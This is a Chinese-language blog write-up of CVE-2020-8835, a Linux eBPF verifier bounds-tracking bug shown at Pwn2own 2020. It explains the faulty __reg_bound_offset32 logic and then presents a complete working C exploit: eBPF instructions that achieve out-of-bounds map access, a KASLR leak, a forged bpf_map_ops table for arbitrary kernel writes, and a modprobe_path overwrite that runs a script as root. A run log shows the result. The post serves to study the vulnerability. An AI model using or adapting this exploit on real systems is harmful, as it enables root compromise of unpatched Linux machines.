CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析

 

pwn2own 2020 上Manfred Paul (@_manfp) 利用了ebpf 的一个漏洞完成了ubuntu的提权,4月16号的时候zdi公开了manfp 的writeup

这篇文章中,参考zdi上的writeup, 我会分析这个漏洞的成因,然后写一下这个洞的 exp, 纯属个人笔记,理解有误的地方欢迎指正。

 

环境搭建

文章涉及到的文件都放在了这里, 我用的是linux-5.6 版本的内核,在 ubuntu1804 下编译测试。

 

漏洞分析

这个漏洞是在commit 581738a681b6引入的, 它添加了一个函数

static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
    u64 mask = 0xffffFFFF;
    struct tnum range = tnum_range(reg->umin_value & mask,
                       reg->umax_value & mask);
    struct tnum lo32 = tnum_cast(reg->var_off, 4);
    struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);

    reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
}

漏洞发生在 verifier 阶段,这个阶段会模拟运行传进来的bpf指令,bpf_reg_state 用来保存寄存器的状态信息

ptype struct bpf_reg_state
type = struct bpf_reg_state {
    enum bpf_reg_type type;
    union {
        u16 range;
        struct bpf_map *map_ptr;
        u32 btf_id;
        unsigned long raw;
    };
    s32 off;
    u32 id;
    u32 ref_obj_id;
    struct tnum var_off;
    s64 smin_value;//有符号时可能的最小值
    s64 smax_value;//有符号时可能的最大值
    u64 umin_value;
    u64 umax_value;
    struct bpf_reg_state *parent;
    u32 frameno;
    s32 subreg_def;
    enum bpf_reg_liveness live;
    bool precise;
}

smin_valuesmax_value 保存当寄存器被当做是有符号数的时候可能的取值范围,同样umin_valueumax_value 表示的是无符号的时候。 var_ofstruct tnum 类型

ptype struct tnum
type = struct tnum {
    u64 value;
    u64 mask;
}

它只有两个成员

value: 某个bit为1 表示这个寄存器的这个bit 确定是1

mask: 某个bit 为1表示这个 bit 是未知的

举个栗子,假如value010(二进制表示) , mask100 , 那么就是经过前面的指令的模拟执行之后,可以确定这个寄存器的 第二个bit 一定是 1, 第三个 bit 在mask 里面设置了,表示这里不确定,可以是1或者是0。详细的文档可以在Documentnetworking/filter.txt 里面找到。

对于跳转指令, 假如当前遇到了下面这样一条指令,

BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 8, 3)

会有下面这样两行代码来更新状态,false_regtrue_reg 分别代表两个分支的状态, 这是我们前面__reg_bound_offset32 的64位版本

    __reg_bound_offset(false_reg);
    __reg_bound_offset(true_reg);

这条指令 r5 >= 8 的时候 , 会跳到pc+3 的地方执行(正确分支), 那么在错误的分支上,r5 肯定是 小于 8 了,

__reg_bound_offset32 会在使用BPF_JMP32 的时候调用,ebpf 的BPF_JMP 寄存器之间是64bit比较的,换成BPF_JMP32 的时候就只会比较低32bit. 我们看看他是怎么做的

首先是把之前状态转移的umin_valueumax_value 只取低32bit , 创建一个新的 tnum, lo32 是取原来 var_off 的 低32bit

 struct tnum tnum_range(u64 min, u64 max)                            
 {                                                                   
     u64 chi = min ^ max, delta;
     // 从右往左数,第一个为1的bit 是哪一位(从1开始数), 表示没有1
     // 如:  fls64(0100)  ==  3
     u8 bits = fls64(chi);                                          

     /* special case, needed because 1ULL << 64 is undefined */      
     if (bits > 63)                                                  
         return tnum_unknown;                                        
     /* e.g. if chi = 4, bits = 3, delta = (1<<3) - 1 = 7.           
     |* if chi = 0, bits = 0, delta = (1<<0) - 1 = 0, so we return   
     |*  constant min (since min == max).                            
     |*/                                                             
     delta = (1ULL << bits) - 1;                                     
     return TNUM(min & ~delta, delta);                               
 }                                                                   

//.....    
u64 mask = 0xffffFFFF;
    struct tnum range = tnum_range(reg->umin_value & mask,
                       reg->umax_value & mask);
    struct tnum lo32 = tnum_cast(reg->var_off, 4);
    struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);

对于tnum_intersect 如果ab 有某一个bit 是1, 那么代表已经确定这个bit是1了, 所以这里用| 的方式, 两者信息整合起来最后生成一个新的var_off

struct tnum tnum_intersect(struct tnum a, struct tnum b)     
{                                                            
    u64 v, mu;                                               

    v = a.value | b.value;                                   
    mu = a.mask & b.mask;                                    
    return TNUM(v & ~mu, mu);                                
}                                                            
//...
reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));

漏洞发生的原因是这里的实现方式有问题,计算range 的时候直接取低32bit,因为原本的umin_valueumax_value 都是64bit的, 假如计算之前umin_value == 1umax_value == 1 0000 0001 , 取低32bit之后他们都会等于1,这样range计算完之后TNUM(min & ~delta, delta);min = 1 , delta = 0

然后到tnum_intersect 函数, 假设a.value = 0 ,计算后的v == 1mu ==0 , 最后得到的 var_off 就是固定值1, 也就是说,不管寄存器真实的值是怎么样,在verifier 过程都会它当做是1。

调试分析

我们调试看看内存具体是怎么样的, 首先我们创建一个array map, ebpf指令中, 让r9 = map[1], r6 是我们要用来测试漏洞的寄存器,从map[1] 中加载值到r6 中(具体参考后面的exp), 这样 verifier 就不知道 r6 是什么,这时候的var_off->value = 0

BPF_LDX_MEM(BPF_DW,6,9,0),

因为我的调试环境没有办法运行bpftool, 首先在kernel/bpf/syscall.c:125 map_create 的时候获取一下 map 的地址值

static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)        
{                                                                      
//....                                    
    map = ops->map_alloc(attr);  //<====                                      
    if (IS_ERR(map))     // 125                                              
        return map;                                                    
//...                                           
    return map;                                                        
}

接下来是下面的指令, 在pc+1 的地方 umin_value 变成1

BPF_JMP_IMM(BPF_JGE,6,1,1), 
BPF_EXIT_INSN(),

然后是下面的指令, 这个时候 r8 = 0x100000001 , BPF_JLEpc+1 分支上, umax_value = 0x100000001 `

BPF_MOV64_IMM(8,0x1),                  
BPF_ALU64_IMM(BPF_LSH,8,32),           
BPF_ALU64_IMM(BPF_ADD,8,1),            
/*BPF_JLE  tnum  umax 0x100000001*/ 
BPF_JMP_REG(BPF_JLE,6,8,1),            
BPF_EXIT_INSN(),

然后时候 jmp32 来触发漏洞了

BPF_JMP32_IMM(BPF_JNE,6,5,1),
BPF_EXIT_INSN(),

在·__reg_bound_offset32 下个断点,我这里是在kernel/bpf/verifier.c:1038, false_reg 函数执行前后值如下

 var_off = {
   value = 0x5,
   mask = 0x100000000
 },
 smin_value = 0x1,
 smax_value = 0x100000001,
 umin_value = 0x1,
 umax_value = 0x100000001,
//--- 执行后
 var_off = {
   value = 0x5,
   mask = 0x100000000
 },
 smin_value = 0x1,
 smax_value = 0x100000001,
 umin_value = 0x1,
 umax_value = 0x100000001,

true_reg 在函数执行前后的值如下

var_off = {
  value = 0x0,
  mask = 0x1ffffffff
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,
// --- 执行后
  var_off = {
    value = 0x1,
    mask = 0x100000000
  },
  smin_value = 0x1,
  smax_value = 0x100000001,
  umin_value = 0x1,
  umax_value = 0x100000001,

因为r6 是从 map[0] load 进来的,实际运行的时候可以是任何值,这里的判断错误了,后面我们就可以用它来绕过一些检查,我们来看看具体怎么样利用。

 

漏洞利用

地址泄露

在前面的指令执行完之后, 执行下面指令,我们让一开始r6 = 2 , 这样 verifier 过程到了这里,r6 会被认为是 1,

( 1&2 )>>1 == 0, 但是实际运行的时候 (2 & 2) >> 1 ==1,

BPF_ALU64_IMM(BPF_AND, 6, 2),   
BPF_ALU64_IMM(BPF_RSH, 6, 1),

接下来我们让r6 = r6 * 0x110 , 这样 verifier 过程仍然认为它是0,但是运行过程的实际值确实 0x110

BPF_ALU64_IMM(BPF_MUL,6,0x110),

我们获取一个map,我们叫它expmap 把, r7 = expmap[0]

BPF_MOV64_REG(7,0),

然后 r7 = r7 - r6, 因为 r7 是指针类型, verifier 会根据map的 size 来检查边界,但是verifier 的时候认为r6 ==0r7 - 0 == r7, 所以可以通过检查, 但是运行的时候 我们可以让r7 = r7 - 0x110, 然后在 BPF_LDX_MEM(BPF_DW,8,7,0), 就可以做越界读写了。

BPF_ALU64_REG(BPF_SUB,7,6)

ebpf 用bpf_map 来保存map 的信息, 也是我们前面map_create 的时候得到的那个地址

gef➤  kstruct bpf_map
ptype struct bpf_map
type = struct bpf_map {
    const struct bpf_map_ops *ops;
    struct bpf_map *inner_map_meta;
    void *security;
    enum bpf_map_type map_type;
    //....
    u64 writecnt;
}

map_lookup_elem 的时候, 使用的是 bpf_array ,它的开头是bpf_map, 然后value 就是map 的每一个项的数组,也就是说 bpf_map 刚好在r7 的低地址处(r7 是第一个 value), 这里查看内存可以知道 mapr7 - 0x110 的地方

ptype struct bpf_array
type = struct bpf_array {
    struct bpf_map map;
    u32 elem_size;
    u32 index_mask;
    struct bpf_array_aux *aux;
    union {
        char value[];//<--- elem
        void *ptrs[];
        void *pptrs[];
    };
}

于是我们就可以读写 bpf_map 来做后续的利用

首先是地址泄露, bpf_map 有一个const struct bpf_map_ops *ops; 字段,当我们创建的map是BPF_MAP_TYPE_ARRAY 的时候保存的是array_map_ops, array_map_ops 是一个全局变量,保存在rdata段,通过它我们就可以计算kaslr的偏移,绕过kaslr, 同时运行的时候可以在下面wait_list 处泄露出map 的地址

gef➤  p/a *(struct bpf_array *)0xffff88800d878000              
$5 = {  
  map = {          
    ops = 0xffffffff82016340 <array_map_ops>,//<-- 泄露内核地址
    inner_map_meta = 0x0 <fixed_percpu_data>,
    security = 0xffff88800e93f0f8,
    map_type = 0x2 <fixed_percpu_data+2>,
    key_size = 0x4 <fixed_percpu_data+4>,
    value_size = 0x2000 <irq_stack_backing_store>, 
    max_entries = 0x1 <fixed_percpu_data+1>,
//...    
    usercnt = {    
//..
      wait_list = {
        next = 0xffff88800d8780c0,//<-- 泄露 map 地址
        prev = 0xffff88800d8780c0
      }
    },
    writecnt = 0x0 <fixed_percpu_data>
  },
  elem_size = 0x2000 <irq_stack_backing_store>,
  index_mask = 0x0 <fixed_percpu_data>,
  aux = 0x0 <fixed_percpu_data>,
  {
    value = 0xffff88800d878110,//<-- r7
    ptrs = 0xffff88800d878110,
    pptrs = 0xffff88800d878110
  }
}

任意内存写

我们可以用r7 写入 ops = 0xffffffff82016340 <array_map_ops>, 改成我们自己的fake_ops, 因为前面我们已经泄露出map 的地址了,那么完全可以用map_update_elem 伪造一个ops, 然后改一下指针就可以劫持控制流了,zdi上的writeup 用了一个更好的办法。

gef➤  p/a *(struct bpf_map_ops *)0xffffffff82016340
$11 = {
  map_alloc_check = 0xffffffff8116ec70 <array_map_alloc_check>,
  map_alloc = 0xffffffff8116fa00 <array_map_alloc>,
  map_release = 0x0 <fixed_percpu_data>,
  map_free = 0xffffffff8116f2d0 <array_map_free>,
  map_get_next_key = 0xffffffff8116ed50 <array_map_get_next_key>,
  map_release_uref = 0x0 <fixed_percpu_data>,
  map_lookup_elem_sys_only = 0x0 <fixed_percpu_data>,
  map_lookup_batch = 0xffffffff81159b30 <generic_map_lookup_batch>,
  map_lookup_and_delete_batch = 0x0 <fixed_percpu_data>,
  map_update_batch = 0xffffffff81159930 <generic_map_update_batch>,
  map_delete_batch = 0x0 <fixed_percpu_data>,
  map_lookup_elem = 0xffffffff8116edd0 <array_map_lookup_elem>,
  map_update_elem = 0xffffffff8116f1c0 <array_map_update_elem>,
  map_delete_elem = 0xffffffff8116ed80 <array_map_delete_elem>,
  map_push_elem = 0x0 <fixed_percpu_data>,
  map_pop_elem = 0x0 <fixed_percpu_data>,
  map_peek_elem = 0x0 <fixed_percpu_data>,
  map_fd_get_ptr = 0x0 <fixed_percpu_data>,
  map_fd_put_ptr = 0x0 <fixed_percpu_data>,
  map_gen_lookup = 0xffffffff8116f050 <array_map_gen_lookup>,
  map_fd_sys_lookup_elem = 0x0 <fixed_percpu_data>,
  map_seq_show_elem = 0xffffffff8116ee80 <array_map_seq_show_elem>,
  map_check_btf = 0xffffffff8116f870 <array_map_check_btf>,
  map_poke_track = 0x0 <fixed_percpu_data>,
  map_poke_untrack = 0x0 <fixed_percpu_data>,
  map_poke_run = 0x0 <fixed_percpu_data>,
  map_direct_value_addr = 0xffffffff8116ece0 <array_map_direct_value_addr>,
  map_direct_value_meta = 0xffffffff8116ed10 <array_map_direct_value_meta>,
  map_mmap = 0xffffffff8116ee50 <array_map_mmap>
}

map_push_elem 会在 map_update_elem 的时候被调用, 它需要map 的类型是BPF_MAP_TYPE_QUEUE或者BPF_MAP_TYPE_STACK, 但是没有关系, map 上的任何内容都可以用 r7 来改,把map_type 改成BPF_MAP_TYPE_STACK (0x17)之后,每次调用map_update_elem时, 就会调用map_push_elem

 static int bpf_map_update_value(struct bpf_map *map, struct fd f, void *key,  
                void *value, __u64 flags)                                     
{                                                                             
//...                    
    } else if (map->map_type == BPF_MAP_TYPE_QUEUE ||     
        ¦  map->map_type == BPF_MAP_TYPE_STACK) {         
        err = map->ops->map_push_elem(map, value, flags); 
//..

fake_ops 上, 我们把map_push_elem 改成map_get_next_key 一样的地址, 这里实际的map_get_next_key是函数array_map_get_next_key

uint64_t fake_map_ops[]={

    kaslr +0xffffffff8116ec70,                 
    kaslr +0xffffffff8116fa00,                 
    0x0,                                       
    kaslr +0xffffffff8116f2d0,                 
    kaslr +0xffffffff8116ed50,// 5: map_get_next_key  
    0x0,                                       
    //...                
    kaslr +0xffffffff8116ed80,                 
    kaslr +0xffffffff8116ed50,//15: map_push_elem 
    0x0,                                       
    0x0,                                       
    //...                
}

array_map_get_next_key 实现在kernel/bpf/arraymap.c#L279 上, 传递给map_push_elem 的参数是value(ring3 要update的数据)和 uattr 的 flags, 分别对应array_map_get_next_keykeynext_key 参数

static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)   
{                                                                                   
    struct bpf_array *array = container_of(map, struct bpf_array, map);             
    u32 index = key ? *(u32 *)key : U32_MAX;                                        
    u32 *next = (u32 *)next_key;                                                    

    if (index >= array->map.max_entries) {    //index                                      
        *next = 0;                                                                  
        return 0;                                                                   
    }                                                                               

    if (index == array->map.max_entries - 1)                                        
        return -ENOENT;                                                             

    *next = index + 1;                                                              
    return 0;                                                                       
}

加入我们运行 map_update_elem(mapfd, &key, &value, flags), 运行到 array_map_get_next_key 之后有

index == value[0], next = flags , 最终效果是 *flags = value[0]

value[0] 和 flags 都是 ring3 下传入的值,前面我们已经泄露了内核地址,于是就可以通过修改 flags 的值写任意内存啦。写入的index要满足(index >= array->map.max_entries), map_entries 可以用r7 改成0xffff ffff

这里index 和 next 都是 u32 类型, 所以就是任意地址写 4个byte.

具体的操作是

  • 1 写 r7 改写 ops 到 fake_ops ( map_push_elem 改成array_map_get_next_key 地址)
  • 2 修改 map 的一些字段绕过一些检查
    • spin_lock_off = 0
    • max_entries = 0xffff ffff
    • map_type = BPF_MAP_TYPE_STACK
  • 3 调用 map_update_elem 写内存

改modprobe_path 用root任意命令

可以任意地址写这个能力还是挺大的了,zdi 的writeup 上是通过搜索 init_pid_ns, 找到当前的task_struct, 然后写 cred 来获取一个 root shell。

既然已经可以任意地址写了,这里我的做法是改写modprobe_path , 然后就可以用root 权限执行任意指令了,虽然不能起root shell, 但是也是可以达到提权目的了(主要是懒 ? )

/tmp 目录下生成 /tmp/chmod/tmp/fake , /tmp/chmod 可以改 /flag 文件的权限

void gen_fake_elf(){                                                       
    system("echo -ne '#!/bin/shn/bin/chmod 777 /flagn' > /tmp/chmod");   
    system("chmod +x /tmp/chmod");                                         
    system("echo -ne '\xff\xff\xff\xff' > /tmp/fake");                 
    system("chmod +x /tmp/fake");                                          
}

然后把modprobe_path 改成 /tmp/chmod, 然后运行 /tmp/fake 就完事啦

 expbuf64[0] = 0x706d742f -1;                              
 bpf_update_elem(expmapfd,&key,expbuf,modprobe_path);      
 expbuf64[0] = 0x6d68632f -1;                              
 bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+4);    
 expbuf64[0] = 0x646f -1;                                  
 bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+8);

 

exp

完整exp 如下,这里需要有两个头文件,bpf_insn.hsamples/bpf/bpf_insn.h 下, 主要是生成指令的一些宏定义。

因为我本机的ubuntu 内核还不支持BPF_JMP32 所以还需要拷贝一个bpf.h ,它在include/uapi/linux/bpf.h

整理一下 bpf_insns 都做了什么, 这里我创建了两个map( ctrlmapexpmap, 有点乱…)

第一次 writemsg()ctrlmap[0] = 2; ctrlmap[1] = 0

  • r9 指向 ctrlmap[0] , load 之后 r6 ==2
  • 然后前面描述的漏洞触发过程, 最后 BPF_ALU64_IMM(BPF_MUL,6,0x110), 得到 r6 == 0x100
  • r7 指向 expmap[0], 然后 sub r6, 获取 bpf_map_ops和 map 的地址,写入到 ctrlmap[0][0x10]ctrlmap[0][0x18] 的位置
  • exp 中 map_lookup_elem 获取 泄露的地址

第二次 writemsg()ctrlmap[0] = 2; ctrlmap[1] = 1)

  • fake_map_ops 保存到 expmap[0] 上, 修改原来的 ops 指向fake_map_ops
  • spin_lock_off, max_entries ,map_type
  • map_update_elemmodprobe_path
#define _GNU_SOURCE
#include <stdio.h>       
#include <stdlib.h>      
#include <unistd.h>      
#include <fcntl.h>       
#include <stdint.h>      
#include <string.h>      
#include <sys/ioctl.h>   
#include <sys/syscall.h> 
#include <sys/socket.h>  
#include <errno.h>       
#include "linux/bpf.h"   
#include "bpf_insn.h"    

int ctrlmapfd, expmapfd;
int progfd;
int sockets[2];
#define LOG_BUF_SIZE 65535
char bpf_log_buf[LOG_BUF_SIZE];

void gen_fake_elf(){
    system("echo -ne '#!/bin/shn/bin/chmod 777 /flagn' > /tmp/chmod"); 
    system("chmod +x /tmp/chmod");
    system("echo -ne '\xff\xff\xff\xff' > /tmp/fake");
    system("chmod +x /tmp/fake");
}
void init(){
    setbuf(stdin,0);
    setbuf(stdout,0);
    gen_fake_elf();
}
void x64dump(char *buf,uint32_t num){         
    uint64_t *buf64 =  (uint64_t *)buf;       
    printf("[-x64dump-] start : n");         
    for(int i=0;i<num;i++){                   
            if(i%2==0 && i!=0){                   
                printf("n");                     
            }                                     
            printf("0x%016lx ",*(buf64+i));       
        }                                         
    printf("n[-x64dump-] end ... n");       
}                                             
void loglx(char *tag,uint64_t num){         
    printf("[lx] ");                        
    printf(" %-20s ",tag);                  
    printf(": %-#16lxn",num);              
}                                           

static int bpf_prog_load(enum bpf_prog_type prog_type,         
        const struct bpf_insn *insns, int prog_len,  
        const char *license, int kern_version);      
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,  
        int max_entries);                                                 
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags);
static int bpf_lookup_elem(int fd,void *key, void *value);
static void writemsg(void);
static void __exit(char *err);

struct bpf_insn insns[]={

    BPF_LD_MAP_FD(BPF_REG_1,3),

    BPF_ALU64_IMM(BPF_MOV,6,0),
    BPF_STX_MEM(BPF_DW,10,6,-8),
    BPF_MOV64_REG(7,10),
    BPF_ALU64_IMM(BPF_ADD,7,-8),
    BPF_MOV64_REG(2,7),
    BPF_RAW_INSN(BPF_JMP|BPF_CALL,0,0,0,
            BPF_FUNC_map_lookup_elem),
    BPF_JMP_IMM(BPF_JNE,0,0,1),
    BPF_EXIT_INSN(),
    // r9 = ctrlmap[0]
    BPF_MOV64_REG(9,0),
    //2
    BPF_LDX_MEM(BPF_DW,6,9,0),
    // offset


    /*// BPF_JGE 看 tnum  umin 1*/
    BPF_ALU64_IMM(BPF_MOV,0,0),

    BPF_JMP_IMM(BPF_JGE,6,1,1),
    BPF_EXIT_INSN(),

    BPF_MOV64_IMM(8,0x1),
    BPF_ALU64_IMM(BPF_LSH,8,32),
    BPF_ALU64_IMM(BPF_ADD,8,1),
     /*BPF_JLE 看 tnum  umax 0x100000001*/
    BPF_JMP_REG(BPF_JLE,6,8,1),
    BPF_EXIT_INSN(),


    /*//  JMP32  看 offset*/
    BPF_JMP32_IMM(BPF_JNE,6,5,1),
    BPF_EXIT_INSN(),

    BPF_ALU64_IMM(BPF_AND, 6, 2),
    BPF_ALU64_IMM(BPF_RSH, 6, 1),

    //r6 == offset
    //r9 = inmap
    /*BPF_ALU64_REG(BPF_MUL, 6, 7),*/

    BPF_ALU64_IMM(BPF_MUL,6,0x110),

    // outmap
    BPF_LD_MAP_FD(BPF_REG_1,4),

    BPF_ALU64_IMM(BPF_MOV,8,0),
    BPF_STX_MEM(BPF_DW,10,8,-8),

    BPF_MOV64_REG(7,10),
    BPF_ALU64_IMM(BPF_ADD,7,-8),
    BPF_MOV64_REG(2,7),
    BPF_RAW_INSN(BPF_JMP|BPF_CALL,0,0,0,
            BPF_FUNC_map_lookup_elem),
    BPF_JMP_IMM(BPF_JNE,0,0,1),
    BPF_EXIT_INSN(),

    BPF_MOV64_REG(7,0),

    BPF_ALU64_REG(BPF_SUB,7,6),

    BPF_LDX_MEM(BPF_DW,8,7,0),
    /*// inmap[2] == map_addr*/
    BPF_STX_MEM(BPF_DW,9,8,0x10),
    BPF_MOV64_REG(2,8),

    BPF_LDX_MEM(BPF_DW,8,7,0xc0),
    BPF_STX_MEM(BPF_DW,9,8,0x18),

    BPF_STX_MEM(BPF_DW,7,8,0x40),
    BPF_ALU64_IMM(BPF_ADD,8,0x50),



    BPF_LDX_MEM(BPF_DW,2,9,0x8),
    BPF_JMP_IMM(BPF_JNE,2,1,4),
    BPF_STX_MEM(BPF_DW,7,8,0), //ops
    BPF_ST_MEM(BPF_W,7,0x18,BPF_MAP_TYPE_STACK),//map type
    BPF_ST_MEM(BPF_W,7,0x24,-1),// max_entries
    BPF_ST_MEM(BPF_W,7,0x2c,0x0), //lock_off




    BPF_ALU64_IMM(BPF_MOV,0,0),
    BPF_EXIT_INSN(),
};

void  prep(){
    ctrlmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,0x1);
    if(ctrlmapfd<0){ __exit(strerror(errno));}
    expmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x2000,0x1);
    if(expmapfd<0){ __exit(strerror(errno));}
    printf("ctrlmapfd: %d,  expmapfd: %d n",ctrlmapfd,expmapfd);


    progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
            insns, sizeof(insns), "GPL", 0);  
    if(progfd < 0){ __exit(strerror(errno));}

    if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
        __exit(strerror(errno));
    }
    if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){ 
        __exit(strerror(errno));
    }
}

void pwn(){
    printf("pwning...n");
    uint32_t key = 0x0;
    char *ctrlbuf = malloc(0x100);
    char *expbuf  = malloc(0x3000);

    uint64_t *ctrlbuf64 = (uint64_t *)ctrlbuf;
    uint64_t *expbuf64  = (uint64_t *)expbuf;

    memset(ctrlbuf,'A',0x100);
    for(int i=0;i<0x2000/8;i++){
        expbuf64[i] = i+1;
    }

    ctrlbuf64[0]=0x2;
    ctrlbuf64[1]=0x0;
    bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
    bpf_update_elem(expmapfd,&key,expbuf,0);
    writemsg();
    // leak
    memset(ctrlbuf,0,0x100);
    bpf_lookup_elem(ctrlmapfd,&key,ctrlbuf);
    x64dump(ctrlbuf,8);
    bpf_lookup_elem(expmapfd,&key,expbuf);
    x64dump(expbuf,8);
    uint64_t map_leak = ctrlbuf64[2];
    uint64_t elem_leak = ctrlbuf64[3]-0xc0+0x110;
    uint64_t kaslr = map_leak - 0xffffffff82016340;
    uint64_t modprobe_path = 0xffffffff82446d80 + kaslr;
    loglx("map_leak",map_leak);
    loglx("elem_leak",elem_leak);
    loglx("kaslr",kaslr);
    loglx("modprobe",modprobe_path);

    uint64_t fake_map_ops[]={
        kaslr +0xffffffff8116ec70,
        kaslr +0xffffffff8116fa00,
        0x0,
        kaslr +0xffffffff8116f2d0,
        kaslr +0xffffffff8116ed50,//get net key 5
        0x0,
        0x0,
        kaslr +0xffffffff81159b30,
        0x0,
        kaslr +0xffffffff81159930,
        0x0,
        kaslr +0xffffffff8116edd0,
        kaslr +0xffffffff8116f1c0,
        kaslr +0xffffffff8116ed80,
        kaslr +0xffffffff8116ed50,//map_push_elem 15
        0x0,
        0x0,
        0x0,
        0x0,
        kaslr +0xffffffff8116f050,
        0x0,
        kaslr +0xffffffff8116ee80,
        kaslr +0xffffffff8116f870,
        0x0,
        0x0,
        0x0,
        kaslr +0xffffffff8116ece0,
        kaslr +0xffffffff8116ed10,
        kaslr +0xffffffff8116ee50,
    };

    // overwrite bpf_map_ops
    memcpy(expbuf,(void *)fake_map_ops,sizeof(fake_map_ops));
    bpf_update_elem(expmapfd,&key,expbuf,0);


    //overwrite modeprobe path
    ctrlbuf64[0]=0x2;
    ctrlbuf64[1]=0x1;
    bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
    writemsg();

    expbuf64[0] = 0x706d742f -1;
    bpf_update_elem(expmapfd,&key,expbuf,modprobe_path);
    expbuf64[0] = 0x6d68632f -1;
    bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+4);
    expbuf64[0] = 0x646f -1;
    bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+8);
}





int main(int argc,char **argv){
    init();
    prep();
    pwn();
    return 0;
}


static void __exit(char *err) {              
    fprintf(stderr, "error: %sn", err); 
    exit(-1);                            
}                                            
static void writemsg(void) {                                     
    char buffer[64];                                         
    ssize_t n = write(sockets[0], buffer, sizeof(buffer));   
}                                                                


static int bpf_prog_load(enum bpf_prog_type prog_type,         
        const struct bpf_insn *insns, int prog_len,  
        const char *license, int kern_version){

    union bpf_attr attr = {                                        
        .prog_type = prog_type,                                
        .insns = (uint64_t)insns,                              
        .insn_cnt = prog_len / sizeof(struct bpf_insn),        
        .license = (uint64_t)license,                          
        .log_buf = (uint64_t)bpf_log_buf,                      
        .log_size = LOG_BUF_SIZE,                              
        .log_level = 1,                                        
    };                                                             
    attr.kern_version = kern_version;                              
    bpf_log_buf[0] = 0;                                            
    return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));  

}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,  
        int max_entries){

    union bpf_attr attr = {                                         
        .map_type = map_type,                                   
        .key_size = key_size,                                   
        .value_size = value_size,                               
        .max_entries = max_entries                              
    };                                                              
    return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));  

}                                                
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags){
    union bpf_attr attr = {                                              
        .map_fd = fd,                                                
        .key = (uint64_t)key,                                        
        .value = (uint64_t)value,                                    
        .flags = flags,                                              
    };                                                                   
    return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));  

}
static int bpf_lookup_elem(int fd,void *key, void *value){
    union bpf_attr attr = {                                              
        .map_fd = fd,                                                
        .key = (uint64_t)key,                                        
        .value = (uint64_t)value,                                    
    };                                                                   
    return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));  
}

运行效果

运行的效果如下,因为我用的是 改modprobe_path 的方式,可以像/tmp/chmod 写入任意命令,然后运行/tmp/fake ,就可以root权限运行/tmp/chmod

/home/pwn # ~ $ ls
~ $ cd /
/ $ ls -al flag
-rw-------    1 root     0               11 Apr 26  2019 flag
/ $ cat flag
cat: can't open 'flag': Permission denied
/ $ /exp
ctrlmapfd: 3,  expmapfd: 4
pwning...
[-x64dump-] start :
0x0000000000000002 0x0000000000000000
0xffffffff82016340 0xffff88800d8740c0
0x4141414141414141 0x4141414141414141
0x4141414141414141 0x4141414141414141
[-x64dump-] end ...
[-x64dump-] start :
0x0000000000000001 0x0000000000000002
0x0000000000000003 0x0000000000000004
0x0000000000000005 0x0000000000000006
0x0000000000000007 0x0000000000000008
[-x64dump-] end ...
[lx]  map_leak             : 0xffffffff82016340
[lx]  elem_leak            : 0xffff88800d874110
[lx]  kaslr                : 0
[lx]  modprobe             : 0xffffffff82446d80
/ $ ls /tmp
chmod  fake
/ $ cat /tmp/chmod
#!/bin/sh
/bin/chmod 777 /flag
/ $ /tmp/fake 
/tmp/fake: line 1: : not found
/ $ ls -al flag
-rwxrwxrwx    1 root     0               11 Apr 26  2019 flag
/ $ cat flag
*CTF{test}

 

小结

总的来说,这个洞就是代码写错了:D , 本来是想着既然有 jmp32 看能不能优化一下什么的,然后写了个 bug. 这个洞也没有对应的补丁,linux做了版本回退直接删除了这个commit上新添加的代码。

 

reference

https://www.zerodayinitiative.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification

(完)